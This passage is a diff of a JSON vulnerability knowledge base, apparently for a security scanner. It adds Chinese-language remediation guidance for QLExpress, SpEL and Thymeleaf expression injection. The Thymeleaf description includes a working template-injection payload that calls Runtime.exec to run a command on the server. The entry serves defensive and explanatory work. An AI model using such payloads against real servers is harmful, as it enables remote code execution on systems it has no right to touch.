"\u7531\u963f\u91cc\u7684\u7535\u5546\u4e1a\u52a1\u89c4\u5219\u3001\u8868\u8fbe\u5f0f\uff08\u5e03\u5c14\u7ec4\u5408\uff09\u3001\u7279\u6b8a\u6570\u5b66\u516c\u5f0f\u8ba1\u7b97\uff08\u9ad8\u7cbe\u5ea6\uff09\u3001\u8bed\u6cd5\u5206\u6790\u3001\u811a\u672c\u4e8c\u6b21\u5b9a\u5236\u7b49\u5f3a\u9700\u6c42\u800c\u8bbe\u8ba1\u7684\u4e00\u95e8\u52a8\u6001\u811a\u672c\u5f15\u64ce\u89e3\u6790\u5de5\u5177\u3002 \u5728\u963f\u91cc\u96c6\u56e2\u6709\u5f88\u5f3a\u7684\u5f71\u54cd\u529b\uff0c\u540c\u65f6\u4e3a\u4e86\u81ea\u8eab\u4e0d\u65ad\u4f18\u5316\u3001\u53d1\u626c\u5f00\u6e90\u8d21\u732e\u7cbe\u795e\uff0c\u4e8e2012\u5e74\u5f00\u6e90\u3002\nQLExpress\u811a\u672c\u5f15\u64ce\u88ab\u5e7f\u6cdb\u5e94\u7528\u5728\u963f\u91cc\u7684\u7535\u5546\u4e1a\u52a1\u573a\u666f\uff0c\u5177\u6709\u4ee5\u4e0b\u7684\u4e00\u4e9b\u7279\u6027:\n- 1\u3001\u7ebf\u7a0b\u5b89\u5168\uff0c\u5f15\u64ce\u8fd0\u7b97\u8fc7\u7a0b\u4e2d\u7684\u4ea7\u751f\u7684\u4e34\u65f6\u53d8\u91cf\u90fd\u662fthreadlocal\u7c7b\u578b\u3002\n- 2\u3001\u9ad8\u6548\u6267\u884c\uff0c\u6bd4\u8f83\u8017\u65f6\u7684\u811a\u672c\u7f16\u8bd1\u8fc7\u7a0b\u53ef\u4ee5\u7f13\u5b58\u5728\u672c\u5730\u673a\u5668\uff0c\u8fd0\u884c\u65f6\u7684\u4e34\u65f6\u53d8\u91cf\u521b\u5efa\u91c7\u7528\u4e86\u7f13\u51b2\u6c60\u7684\u6280\u672f\uff0c\u548cgroovy\u6027\u80fd\u76f8\u5f53\u3002\n- 3\u3001\u5f31\u7c7b\u578b\u811a\u672c\u8bed\u8a00\uff0c\u548cgroovy\uff0cjavascript\u8bed\u6cd5\u7c7b\u4f3c\uff0c\u867d\u7136\u6bd4\u5f3a\u7c7b\u578b\u811a\u672c\u8bed\u8a00\u8981\u6162\u4e00\u4e9b\uff0c\u4f46\u662f\u4f7f\u4e1a\u52a1\u7684\u7075\u6d3b\u5ea6\u5927\u5927\u589e\u5f3a\u3002\n- 4\u3001\u5b89\u5168\u63a7\u5236,\u53ef\u4ee5\u901a\u8fc7\u8bbe\u7f6e\u76f8\u5173\u8fd0\u884c\u53c2\u6570\uff0c\u9884\u9632\u6b7b\u5faa\u73af\u3001\u9ad8\u5371\u7cfb\u7edfapi\u8c03\u7528\u7b49\u60c5\u51b5\u3002\n- 5\u3001\u4ee3\u7801\u7cbe\u7b80\uff0c\u4f9d\u8d56\u6700\u5c0f\uff0c250k\u7684jar\u5305\u9002\u5408\u6240\u6709java\u7684\u8fd0\u884c\u73af\u5883\uff0c\u5728android\u7cfb\u7edf\u7684\u4f4e\u7aefpos\u673a\u4e5f\u5f97\u5230\u5e7f\u6cdb\u8fd0\u7528\u3002\nQL Express\u652f\u6301\u8868\u8fbe\u5f0f\uff0c\u5982\u6267\u884c\u7684\u8868\u8fbe\u5f0f\u5916\u90e8\u53ef\u63a7\uff0c\u4e14\u6ca1\u6709\u5f00\u542f\u5b89\u5168\u914d\u7f6e\uff0c\u5219\u53ef\u80fd\u5bfc\u81f4\u547d\u4ee4\u6267\u884c\u7b49\u6f0f\u6d1e\u3002", + "vul_fix": "1\u3001\u4f7f\u7528\u5b98\u65b9\u63d0\u4f9b\u7684\u9ed8\u8ba4\u5b89\u5168\u914d\u7f6e\nQLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);\n2\u3001\u81ea\u5b9a\u4e49\u9ed1\u767d\u540d\u5355\n\u8be6\u60c5\u8bf7\u89c1\u5b98\u65b9\u6587\u6863\uff1ahttps://github.com/alibaba/QLExpress#4-%E5%A4%9A%E7%BA%A7%E5%88%AB%E5%AE%89%E5%85%A8%E6%8E%A7%E5%88%B6", + "vul_fix_en": null, + "vul_fix_zh": "1\u3001\u4f7f\u7528\u5b98\u65b9\u63d0\u4f9b\u7684\u9ed8\u8ba4\u5b89\u5168\u914d\u7f6e\nQLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);\n2\u3001\u81ea\u5b9a\u4e49\u9ed1\u767d\u540d\u5355\n\u8be6\u60c5\u8bf7\u89c1\u5b98\u65b9\u6587\u6863\uff1ahttps://github.com/alibaba/QLExpress#4-%E5%A4%9A%E7%BA%A7%E5%88%AB%E5%AE%89%E5%85%A8%E6%8E%A7%E5%88%B6", + "vul_name": "QLExpress\u7ec4\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165", + "vul_name_en": null, + "vul_name_zh": "QLExpress\u7ec4\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165", + "vul_type": "QLExpress\u7ec4\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165" + }, { "level": 5, "state": "enable", @@ -151,9 +215,9 @@ "vul_desc": "Spring Expression Language\uff08\u7b80\u79f0SpEL\uff09\u662f\u4e00\u79cd\u5f3a\u5927\u7684\u8868\u8fbe\u5f0f\u8bed\u8a00\uff0c\u652f\u6301\u5728\u8fd0\u884c\u65f6\u67e5\u8be2\u548c\u64cd\u4f5c\u5bf9\u8c61\u56fe\u3002\u8bed\u8a00\u8bed\u6cd5\u7c7b\u4f3c\u4e8eUnified EL\uff0c\u4f46\u63d0\u4f9b\u4e86\u989d\u5916\u7684\u529f\u80fd\uff0c\u7279\u522b\u662f\u65b9\u6cd5\u8c03\u7528\u548c\u57fa\u672c\u7684\u5b57\u7b26\u4e32\u6a21\u677f\u529f\u80fd\u3002\u540c\u65f6\u56e0\u4e3aSpEL\u662f\u4ee5API\u63a5\u53e3\u7684\u5f62\u5f0f\u521b\u5efa\u7684\uff0c\u6240\u4ee5\u5141\u8bb8\u5c06\u5176\u96c6\u6210\u5230\u5176\u4ed6\u5e94\u7528\u7a0b\u5e8f\u548c\u6846\u67b6\u4e2d\u3002\n", "vul_desc_en": null, "vul_desc_zh": "Spring Expression Language\uff08\u7b80\u79f0SpEL\uff09\u662f\u4e00\u79cd\u5f3a\u5927\u7684\u8868\u8fbe\u5f0f\u8bed\u8a00\uff0c\u652f\u6301\u5728\u8fd0\u884c\u65f6\u67e5\u8be2\u548c\u64cd\u4f5c\u5bf9\u8c61\u56fe\u3002\u8bed\u8a00\u8bed\u6cd5\u7c7b\u4f3c\u4e8eUnified EL\uff0c\u4f46\u63d0\u4f9b\u4e86\u989d\u5916\u7684\u529f\u80fd\uff0c\u7279\u522b\u662f\u65b9\u6cd5\u8c03\u7528\u548c\u57fa\u672c\u7684\u5b57\u7b26\u4e32\u6a21\u677f\u529f\u80fd\u3002\u540c\u65f6\u56e0\u4e3aSpEL\u662f\u4ee5API\u63a5\u53e3\u7684\u5f62\u5f0f\u521b\u5efa\u7684\uff0c\u6240\u4ee5\u5141\u8bb8\u5c06\u5176\u96c6\u6210\u5230\u5176\u4ed6\u5e94\u7528\u7a0b\u5e8f\u548c\u6846\u67b6\u4e2d\u3002\n", - "vul_fix": "1", + "vul_fix": "1\u3001\u4f7f\u7528SimpleEvaluationContext\n\n\u5b98\u65b9\u6587\u6863\uff1a[https://docs.spring.io/spring/docs/5.0.6.RELEASE/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html](https://docs.spring.io/spring/docs/5.0.6.RELEASE/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html)\n\n```java\nExpressionParser parser = new SpelExpressionParser(); \nUsers users = new Users(); \nEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().withRootObject(users).build(); \nExpression expression = parser.parseExpression(exporession); \nSystem.out.println(expression.getValue(context));\n```", "vul_fix_en": null, - "vul_fix_zh": "1", + "vul_fix_zh": "1\u3001\u4f7f\u7528SimpleEvaluationContext\n\n\u5b98\u65b9\u6587\u6863\uff1a[https://docs.spring.io/spring/docs/5.0.6.RELEASE/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html](https://docs.spring.io/spring/docs/5.0.6.RELEASE/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html)\n\n```java\nExpressionParser parser = new SpelExpressionParser(); \nUsers users = new Users(); \nEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().withRootObject(users).build(); \nExpression expression = parser.parseExpression(exporession); \nSystem.out.println(expression.getValue(context));\n```", "vul_name": "SPEL\u8868\u8fbe\u5f0f\u6ce8\u5165", "vul_name_en": null, "vul_name_zh": "SPEL\u8868\u8fbe\u5f0f\u6ce8\u5165", @@ -167,9 +231,9 @@ "vul_desc": "Thymeleaf \u662f\u4e0e java \u914d\u5408\u4f7f\u7528\u7684\u4e00\u6b3e\u670d\u52a1\u7aef\u6a21\u677f\u5f15\u64ce\uff0c\u4e5f\u662f spring \u5b98\u65b9\u652f\u6301\u7684\u4e00\u6b3e\u670d\u52a1\u7aef\u6a21\u677f\u5f15\u64ce\u3002\u4ed6\u652f\u6301 HTML \u539f\u578b\uff0c\u5728 HTML \u6807\u7b7e\u4e2d\u589e\u52a0\u989d\u5916\u7684\u5c5e\u6027\u6765\u8fbe\u5230\u6a21\u677f + \u6570\u636e\u7684\u5c55\u793a\u65b9\u5f0f\u3002\u9ed8\u8ba4\u524d\u7f00\uff1a/templates/ \uff0c\u9ed8\u8ba4\u540e\u7f00\uff1a.html \n- Thymeleaf\u4f7f\u7528html\u901a\u8fc7\u4e00\u4e9b\u7279\u5b9a\u6807\u7b7e\u8bed\u6cd5\u4ee3\u8868\u5176\u542b\u4e49\uff0c\u4f46\u5e76\u672a\u7834\u574fhtml\u7ed3\u6784\uff0c\u5373\u4f7f\u65e0\u7f51\u7edc\u3001\u4e0d\u901a\u8fc7\u540e\u7aef\u6e32\u67d3\u4e5f\u80fd\u5728\u6d4f\u89c8\u5668\u6210\u529f\u6253\u5f00\uff0c\u5927\u5927\u65b9\u4fbf\u754c\u9762\u7684\u6d4b\u8bd5\u548c\u4fee\u6539\u3002\n- Thymeleaf\u63d0\u4f9b\u6807\u51c6\u548cSpring\u6807\u51c6\u4e24\u79cd\u65b9\u8a00\uff0c\u53ef\u4ee5\u76f4\u63a5\u5957\u7528\u6a21\u677f\u5b9e\u73b0JSTL\u3001 OGNL\u8868\u8fbe\u5f0f\u6548\u679c\uff0c\u907f\u514d\u6bcf\u5929\u5957\u6a21\u677f\u3001\u6539JSTL\u3001\u6539\u6807\u7b7e\u7684\u56f0\u6270\u3002\u540c\u65f6\u5f00\u53d1\u4eba\u5458\u4e5f\u53ef\u4ee5\u6269\u5c55\u548c\u521b\u5efa\u81ea\u5b9a\u4e49\u7684\u65b9\u8a00\u3002\n- Springboot\u5b98\u65b9\u5927\u529b\u63a8\u8350\u548c\u652f\u6301\uff0cSpringboot\u5b98\u65b9\u505a\u4e86\u5f88\u591a\u9ed8\u8ba4\u914d\u7f6e\uff0c\u5f00\u53d1\u8005\u53ea\u9700\u7f16\u5199\u5bf9\u5e94html\u5373\u53ef\uff0c\u5927\u5927\u51cf\u8f7b\u4e86\u4e0a\u624b\u96be\u5ea6\u548c\u914d\u7f6e\u590d\u6742\u5ea6\u3002\n\nThymeleaf\u652f\u6301\u8868\u8fbe\u5f0f\u8bed\u6cd5\uff0c\u5982\u679c\u6a21\u7248\u53c2\u6570\u5916\u90e8\u8def\u7531\u4f20\u5165\uff0c\u7528\u6237\u53ef\u63a7\uff0c\u53ef\u80fd\u4f1a\u5bfc\u81f4\u6076\u610f\u653b\u51fb\u8005\u83b7\u53d6\u670d\u52a1\u5668\u7cfb\u7edf\u6743\u9650\u7b49\u3002\nThymeleaf \u63d0\u4f9b\u4e86\u00a0[\u9884\u5904\u7406](https://www.thymeleaf.org/doc/tutorials/3.0/usingthymeleaf.html#preprocessing)\u00a0\u8868\u8fbe\u5f0f\u7684\u529f\u80fd\uff0c\u9884\u5904\u7406\u8868\u8fbe\u5f0f\u4e0e\u666e\u901a\u8868\u8fbe\u5f0f\u5b8c\u5168\u4e00\u6837\uff0c\u4f46\u7531\u53cc\u4e0b\u5212\u7ebf\u7b26\u53f7\u5305\u56f4\uff0c\u5982`__${expression}__`\u00a0\uff0c\u88ab\u9884\u5904\u7406\u7684\u8868\u8fbe\u5f0f\u5c06\u4f1a\u88ab\u63d0\u524d\u6267\u884c\uff0c\u5e76\u4e14\u53ef\u4ee5\u8fd4\u56de\u5f53\u4f5c\u5916\u5c42\u5305\u88f9\u7684\u540e\u7eed\u8868\u8fbe\u5f0f\u7684\u4e00\u90e8\u5206\uff0c\u4f8b\u5982\uff1a`#{selection.__${sel.code}__}`\uff0cThymeleaf \u9996\u5148\u8fdb\u884c\u9884\u5904\u7406`${sel.code}`\u3002\u7136\u540e\uff0c\u5b83\u4f7f\u7528\u7ed3\u679c\uff08\u5728\u672c\u4f8b\u4e2d\u4e3a\u5b58\u50a8\u503c\u00a0_ALL_\u00a0\uff09\u4f5c\u4e3a\u7a0d\u540e\u8ba1\u7b97\u7684\u5b9e\u6570\u8868\u8fbe\u5f0f (\u00a0`#{selection.ALL}`) \u7684\u4e00\u90e8\u5206\u3002\nPayload\u5982\u4e0b\n\u901a\u8fc7${}::.x\u6784\u9020\u8868\u8fbe\u5f0f\u4f1a\u7531Thymeleaf\u53bb\u6267\u884c\n```java\n__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x\n```\n", "vul_desc_en": null, "vul_desc_zh": "Thymeleaf \u662f\u4e0e java \u914d\u5408\u4f7f\u7528\u7684\u4e00\u6b3e\u670d\u52a1\u7aef\u6a21\u677f\u5f15\u64ce\uff0c\u4e5f\u662f spring \u5b98\u65b9\u652f\u6301\u7684\u4e00\u6b3e\u670d\u52a1\u7aef\u6a21\u677f\u5f15\u64ce\u3002\u4ed6\u652f\u6301 HTML \u539f\u578b\uff0c\u5728 HTML \u6807\u7b7e\u4e2d\u589e\u52a0\u989d\u5916\u7684\u5c5e\u6027\u6765\u8fbe\u5230\u6a21\u677f + \u6570\u636e\u7684\u5c55\u793a\u65b9\u5f0f\u3002\u9ed8\u8ba4\u524d\u7f00\uff1a/templates/ \uff0c\u9ed8\u8ba4\u540e\u7f00\uff1a.html \n- Thymeleaf\u4f7f\u7528html\u901a\u8fc7\u4e00\u4e9b\u7279\u5b9a\u6807\u7b7e\u8bed\u6cd5\u4ee3\u8868\u5176\u542b\u4e49\uff0c\u4f46\u5e76\u672a\u7834\u574fhtml\u7ed3\u6784\uff0c\u5373\u4f7f\u65e0\u7f51\u7edc\u3001\u4e0d\u901a\u8fc7\u540e\u7aef\u6e32\u67d3\u4e5f\u80fd\u5728\u6d4f\u89c8\u5668\u6210\u529f\u6253\u5f00\uff0c\u5927\u5927\u65b9\u4fbf\u754c\u9762\u7684\u6d4b\u8bd5\u548c\u4fee\u6539\u3002\n- Thymeleaf\u63d0\u4f9b\u6807\u51c6\u548cSpring\u6807\u51c6\u4e24\u79cd\u65b9\u8a00\uff0c\u53ef\u4ee5\u76f4\u63a5\u5957\u7528\u6a21\u677f\u5b9e\u73b0JSTL\u3001 OGNL\u8868\u8fbe\u5f0f\u6548\u679c\uff0c\u907f\u514d\u6bcf\u5929\u5957\u6a21\u677f\u3001\u6539JSTL\u3001\u6539\u6807\u7b7e\u7684\u56f0\u6270\u3002\u540c\u65f6\u5f00\u53d1\u4eba\u5458\u4e5f\u53ef\u4ee5\u6269\u5c55\u548c\u521b\u5efa\u81ea\u5b9a\u4e49\u7684\u65b9\u8a00\u3002\n- Springboot\u5b98\u65b9\u5927\u529b\u63a8\u8350\u548c\u652f\u6301\uff0cSpringboot\u5b98\u65b9\u505a\u4e86\u5f88\u591a\u9ed8\u8ba4\u914d\u7f6e\uff0c\u5f00\u53d1\u8005\u53ea\u9700\u7f16\u5199\u5bf9\u5e94html\u5373\u53ef\uff0c\u5927\u5927\u51cf\u8f7b\u4e86\u4e0a\u624b\u96be\u5ea6\u548c\u914d\u7f6e\u590d\u6742\u5ea6\u3002\n\nThymeleaf\u652f\u6301\u8868\u8fbe\u5f0f\u8bed\u6cd5\uff0c\u5982\u679c\u6a21\u7248\u53c2\u6570\u5916\u90e8\u8def\u7531\u4f20\u5165\uff0c\u7528\u6237\u53ef\u63a7\uff0c\u53ef\u80fd\u4f1a\u5bfc\u81f4\u6076\u610f\u653b\u51fb\u8005\u83b7\u53d6\u670d\u52a1\u5668\u7cfb\u7edf\u6743\u9650\u7b49\u3002\nThymeleaf \u63d0\u4f9b\u4e86\u00a0[\u9884\u5904\u7406](https://www.thymeleaf.org/doc/tutorials/3.0/usingthymeleaf.html#preprocessing)\u00a0\u8868\u8fbe\u5f0f\u7684\u529f\u80fd\uff0c\u9884\u5904\u7406\u8868\u8fbe\u5f0f\u4e0e\u666e\u901a\u8868\u8fbe\u5f0f\u5b8c\u5168\u4e00\u6837\uff0c\u4f46\u7531\u53cc\u4e0b\u5212\u7ebf\u7b26\u53f7\u5305\u56f4\uff0c\u5982`__${expression}__`\u00a0\uff0c\u88ab\u9884\u5904\u7406\u7684\u8868\u8fbe\u5f0f\u5c06\u4f1a\u88ab\u63d0\u524d\u6267\u884c\uff0c\u5e76\u4e14\u53ef\u4ee5\u8fd4\u56de\u5f53\u4f5c\u5916\u5c42\u5305\u88f9\u7684\u540e\u7eed\u8868\u8fbe\u5f0f\u7684\u4e00\u90e8\u5206\uff0c\u4f8b\u5982\uff1a`#{selection.__${sel.code}__}`\uff0cThymeleaf \u9996\u5148\u8fdb\u884c\u9884\u5904\u7406`${sel.code}`\u3002\u7136\u540e\uff0c\u5b83\u4f7f\u7528\u7ed3\u679c\uff08\u5728\u672c\u4f8b\u4e2d\u4e3a\u5b58\u50a8\u503c\u00a0_ALL_\u00a0\uff09\u4f5c\u4e3a\u7a0d\u540e\u8ba1\u7b97\u7684\u5b9e\u6570\u8868\u8fbe\u5f0f (\u00a0`#{selection.ALL}`) \u7684\u4e00\u90e8\u5206\u3002\nPayload\u5982\u4e0b\n\u901a\u8fc7${}::.x\u6784\u9020\u8868\u8fbe\u5f0f\u4f1a\u7531Thymeleaf\u53bb\u6267\u884c\n```java\n__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x\n```\n", - "vul_fix": "", + "vul_fix": "#### 2.1.1\u3001Thymeleaf\u914d\u7f6e\n\n```Plain\nspring.thymeleaf.mode=STRICT_HTML5\n```\n\n\u5c06 `spring.thymeleaf.mode` \u8bbe\u7f6e\u4e3a `STRICT_HTML5` \u65f6\uff0c\u4f1a\u5f71\u54cdThymeleaf\u6a21\u677f\u5f15\u64ce\u7684\u884c\u4e3a\uff0c\u5728\u5904\u7406HTML\u6a21\u677f\u65f6\u66f4\u52a0\u5b89\u5168\u548c\u4e25\u683c\u3002\u76ee\u7684\u662f\u9632\u6b62\u6a21\u677f\u6ce8\u5165\u653b\u51fb\u548c\u786e\u4fdd\u751f\u6210\u7684HTML\u7b26\u5408HTML5\u89c4\u8303\u3002\n\n\u4f7f\u7528\u8be5\u914d\u7f6e\u540e\uff0c\u653b\u51fb\u8005\u63d0\u4ea4\u6f0f\u6d1e\u5229\u7528payload\uff0cThymeleaf\u5e76\u4e0d\u4f1a\u89e6\u53d1\u8868\u8fbe\u5f0f\u7684\u6267\u884c\uff0c\u5219\u4f1a\u63d0\u793a\u4ee5\u4e0b\u4fe1\u606f\u3002\n\n```Plain\nView name contains an expression and so does either the URL path or one of the request parameters. This is forbidden in order to reduce the possibilities that direct user input is executed as a part of the view name.\n```\n\n**\u5176\u4ed6\u914d\u7f6e**\n\n1\u3001spring.thymeleaf.check-template-location\n\n\u542f\u7528\u6216\u7981\u7528\u6a21\u677f\u4f4d\u7f6e\u7684\u68c0\u67e5\uff0c\u9ed8\u8ba4\u503c\u4e3atrue\u3002\u5f00\u542f\u540e\uff0cThymeleaf\u5c06\u4ec5\u5141\u8bb8\u8bbf\u95ee\u7279\u5b9a\u76ee\u5f55\u4e0b\u7684\u6a21\u677f\u6587\u4ef6\uff0c\u4ee5\u9632\u6b62\u653b\u51fb\u8005\u8bbf\u95ee\u4e0d\u5e94\u88ab\u516c\u5f00\u8bbf\u95ee\u7684\u6a21\u677f\u6587\u4ef6\u3002\n\n```Plain\nspring.thymeleaf.check-template-location=true\n```\n\n2\u3001spring.thymeleaf.allow-request-override \u548c spring.thymeleaf.allow-session-override\n\n\u63a7\u5236\u662f\u5426\u5141\u8bb8\u8bf7\u6c42\u548c\u4f1a\u8bdd\u5c5e\u6027\u7684\u8986\u76d6\uff0c\u9ed8\u8ba4\u4e3afalse\u3002\u5f00\u542f\u8fd9\u4e9b\u9009\u9879\u53ef\u80fd\u4f1a\u5bfc\u81f4\u4e0d\u5b89\u5168\u7684\u64cd\u4f5c\uff0c\u56e0\u6b64\u5efa\u8bae\u5c06\u5176\u4fdd\u6301\u4e3afalse\u3002\n\n```Plain\nspring.thymeleaf.allow-request-override=false\nspring.thymeleaf.allow-session-override=false\n```\n\n3\u3001spring.thymeleaf.prefix \u548c spring.thymeleaf.suffix\n\n```Plain\nspring.thymeleaf.prefix=classpath:/templates/ \nspring.thymeleaf.suffix=.html\n```\n\n\u7528\u4e8e\u5b9a\u4e49\u6a21\u677f\u6587\u4ef6\u7684\u524d\u7f00\u548c\u540e\u7f00\uff0c\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0cThymeleaf\u4f1a\u5728`/src/main/resources/templates/`\u76ee\u5f55\u4e0b\u67e5\u627e\u6a21\u677f\u6587\u4ef6\u3002\u53ef\u4ee5\u6839\u636e\u9700\u8981\u81ea\u5b9a\u4e49\u8fd9\u4e9b\u4f4d\u7f6e\uff0c\u4f46\u8981\u786e\u4fdd\u53ea\u6709\u53d7\u4fe1\u4efb\u7684\u76ee\u5f55\u53ef\u7528\u4e8e\u6a21\u677f\u6587\u4ef6\u3002\n\n4\u3001spring.thymeleaf.cache\n\n\u7528\u4e8e\u63a7\u5236\u6a21\u677f\u7f13\u5b58\uff0c\u9ed8\u8ba4\u4e3atrue\u3002\u5728\u751f\u4ea7\u73af\u5883\u4e2d\uff0c\u5efa\u8bae\u5c06\u5176\u4fdd\u6301\u4e3atrue\u4ee5\u63d0\u9ad8\u6027\u80fd\u3002\u4f46\u5728\u5f00\u53d1\u73af\u5883\u4e2d\uff0c\u53ef\u4ee5\u5c06\u5176\u8bbe\u7f6e\u4e3afalse\uff0c\u4ee5\u4fbf\u5728\u4fee\u6539\u6a21\u677f\u540e\u7acb\u5373\u770b\u5230\u66f4\u6539\u3002\n\n```Plain\nspring.thymeleaf.cache=true\n```\n\n#### 2.1.2\u3001\u767d\u540d\u5355\u8fc7\u6ee4\n\n\u6839\u636e\u4e1a\u52a1\u9700\u6c42\u8fdb\u884c\u4fee\u590d\uff0c\u5982\u6f0f\u6d1e\u4f4d\u7f6e\u51fa\u73b0\u5728\u5207\u6362\u7f51\u9875\u8bed\u8a00\u65f6\u5bfc\u81f4\u7684\u6a21\u7248\u6ce8\u5165\uff0c\u5982\u4f20\u53c2: /?lang=en\uff0c\u6b64\u65f6\u53ef\u6839\u636e\u5df2\u6709\u7684\u8bed\u8a00\u6a21\u7248\u8fdb\u884c\u767d\u540d\u5355\u5339\u914d\uff0c\u53ea\u5141\u8bb8\u4f20\u5165en\uff0czh-cn\u7b49\u5b57\u6bb5\u6765\u9632\u6b62\u8be5\u95ee\u9898\u3002\n\n#### 2.1.3\u3001\u8bbe\u7f6e@ResponseBody\u6ce8\u89e3\n\n\u5982\u679c\u8bbe\u7f6e`ResponseBody`\uff0c\u5219\u4e0d\u518d\u8c03\u7528\u6a21\u677f\u89e3\u6790\n\n```Plain\n@GetMapping(\"/safe/fragment\") \n@ResponseBody \npublic String safeFragment(@RequestParam String section) { \n return \"welcome :: \" + section; //FP, as @ResponseBody annotation tells Spring to process the return values as body, instead of view name \n}\n```\n\n#### 2.1.4\u3001\u8bbe\u7f6eredirect\u91cd\u5b9a\u5411\n\n```Plain\n@GetMapping(\"/safe/redirect\") \npublic String redirect(@RequestParam String url) { \n return \"redirect:\" + url; //FP as redirects are not resolved as expressions \n}\n```\n\n\u6839\u636espring boot\u5b9a\u4e49\uff0c\u5982\u679c\u540d\u79f0\u4ee5`redirect:`\u5f00\u5934\uff0c\u5219\u4e0d\u518d\u8c03\u7528`ThymeleafView`\u89e3\u6790\uff0c\u8c03\u7528`RedirectView`\u53bb\u89e3\u6790`controller`\u7684\u8fd4\u56de\u503c\n\n#### 2.1.5\u3001\u4f7f\u7528HttpServletResponse\n\n```Plain\n@GetMapping(\"/safe/doc/{document}\")\npublic void getDocument(@PathVariable String document, HttpServletResponse response) {\n log.info(\"Retrieving \" + document); //FP\n}\n```\n\n\u7531\u4e8econtroller\u7684\u53c2\u6570\u88ab\u8bbe\u7f6e\u4e3aHttpServletResponse\uff0cSpring\u8ba4\u4e3a\u5b83\u5df2\u7ecf\u5904\u7406\u4e86HTTP Response\uff0c\u56e0\u6b64\u4e0d\u4f1a\u53d1\u751f\u89c6\u56fe\u540d\u79f0\u89e3\u6790\n\n#### 2.1.6\u3001\u6f0f\u6d1e\u53c2\u8003Demo\n\n1\u3001https://github.com/veracode-research/spring-view-manipulation/\n\n\n", "vul_fix_en": null, - "vul_fix_zh": "", + "vul_fix_zh": "#### 2.1.1\u3001Thymeleaf\u914d\u7f6e\n\n```Plain\nspring.thymeleaf.mode=STRICT_HTML5\n```\n\n\u5c06 `spring.thymeleaf.mode` \u8bbe\u7f6e\u4e3a `STRICT_HTML5` \u65f6\uff0c\u4f1a\u5f71\u54cdThymeleaf\u6a21\u677f\u5f15\u64ce\u7684\u884c\u4e3a\uff0c\u5728\u5904\u7406HTML\u6a21\u677f\u65f6\u66f4\u52a0\u5b89\u5168\u548c\u4e25\u683c\u3002\u76ee\u7684\u662f\u9632\u6b62\u6a21\u677f\u6ce8\u5165\u653b\u51fb\u548c\u786e\u4fdd\u751f\u6210\u7684HTML\u7b26\u5408HTML5\u89c4\u8303\u3002\n\n\u4f7f\u7528\u8be5\u914d\u7f6e\u540e\uff0c\u653b\u51fb\u8005\u63d0\u4ea4\u6f0f\u6d1e\u5229\u7528payload\uff0cThymeleaf\u5e76\u4e0d\u4f1a\u89e6\u53d1\u8868\u8fbe\u5f0f\u7684\u6267\u884c\uff0c\u5219\u4f1a\u63d0\u793a\u4ee5\u4e0b\u4fe1\u606f\u3002\n\n```Plain\nView name contains an expression and so does either the URL path or one of the request parameters. This is forbidden in order to reduce the possibilities that direct user input is executed as a part of the view name.\n```\n\n**\u5176\u4ed6\u914d\u7f6e**\n\n1\u3001spring.thymeleaf.check-template-location\n\n\u542f\u7528\u6216\u7981\u7528\u6a21\u677f\u4f4d\u7f6e\u7684\u68c0\u67e5\uff0c\u9ed8\u8ba4\u503c\u4e3atrue\u3002\u5f00\u542f\u540e\uff0cThymeleaf\u5c06\u4ec5\u5141\u8bb8\u8bbf\u95ee\u7279\u5b9a\u76ee\u5f55\u4e0b\u7684\u6a21\u677f\u6587\u4ef6\uff0c\u4ee5\u9632\u6b62\u653b\u51fb\u8005\u8bbf\u95ee\u4e0d\u5e94\u88ab\u516c\u5f00\u8bbf\u95ee\u7684\u6a21\u677f\u6587\u4ef6\u3002\n\n```Plain\nspring.thymeleaf.check-template-location=true\n```\n\n2\u3001spring.thymeleaf.allow-request-override \u548c spring.thymeleaf.allow-session-override\n\n\u63a7\u5236\u662f\u5426\u5141\u8bb8\u8bf7\u6c42\u548c\u4f1a\u8bdd\u5c5e\u6027\u7684\u8986\u76d6\uff0c\u9ed8\u8ba4\u4e3afalse\u3002\u5f00\u542f\u8fd9\u4e9b\u9009\u9879\u53ef\u80fd\u4f1a\u5bfc\u81f4\u4e0d\u5b89\u5168\u7684\u64cd\u4f5c\uff0c\u56e0\u6b64\u5efa\u8bae\u5c06\u5176\u4fdd\u6301\u4e3afalse\u3002\n\n```Plain\nspring.thymeleaf.allow-request-override=false\nspring.thymeleaf.allow-session-override=false\n```\n\n3\u3001spring.thymeleaf.prefix \u548c spring.thymeleaf.suffix\n\n```Plain\nspring.thymeleaf.prefix=classpath:/templates/ \nspring.thymeleaf.suffix=.html\n```\n\n\u7528\u4e8e\u5b9a\u4e49\u6a21\u677f\u6587\u4ef6\u7684\u524d\u7f00\u548c\u540e\u7f00\uff0c\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0cThymeleaf\u4f1a\u5728`/src/main/resources/templates/`\u76ee\u5f55\u4e0b\u67e5\u627e\u6a21\u677f\u6587\u4ef6\u3002\u53ef\u4ee5\u6839\u636e\u9700\u8981\u81ea\u5b9a\u4e49\u8fd9\u4e9b\u4f4d\u7f6e\uff0c\u4f46\u8981\u786e\u4fdd\u53ea\u6709\u53d7\u4fe1\u4efb\u7684\u76ee\u5f55\u53ef\u7528\u4e8e\u6a21\u677f\u6587\u4ef6\u3002\n\n4\u3001spring.thymeleaf.cache\n\n\u7528\u4e8e\u63a7\u5236\u6a21\u677f\u7f13\u5b58\uff0c\u9ed8\u8ba4\u4e3atrue\u3002\u5728\u751f\u4ea7\u73af\u5883\u4e2d\uff0c\u5efa\u8bae\u5c06\u5176\u4fdd\u6301\u4e3atrue\u4ee5\u63d0\u9ad8\u6027\u80fd\u3002\u4f46\u5728\u5f00\u53d1\u73af\u5883\u4e2d\uff0c\u53ef\u4ee5\u5c06\u5176\u8bbe\u7f6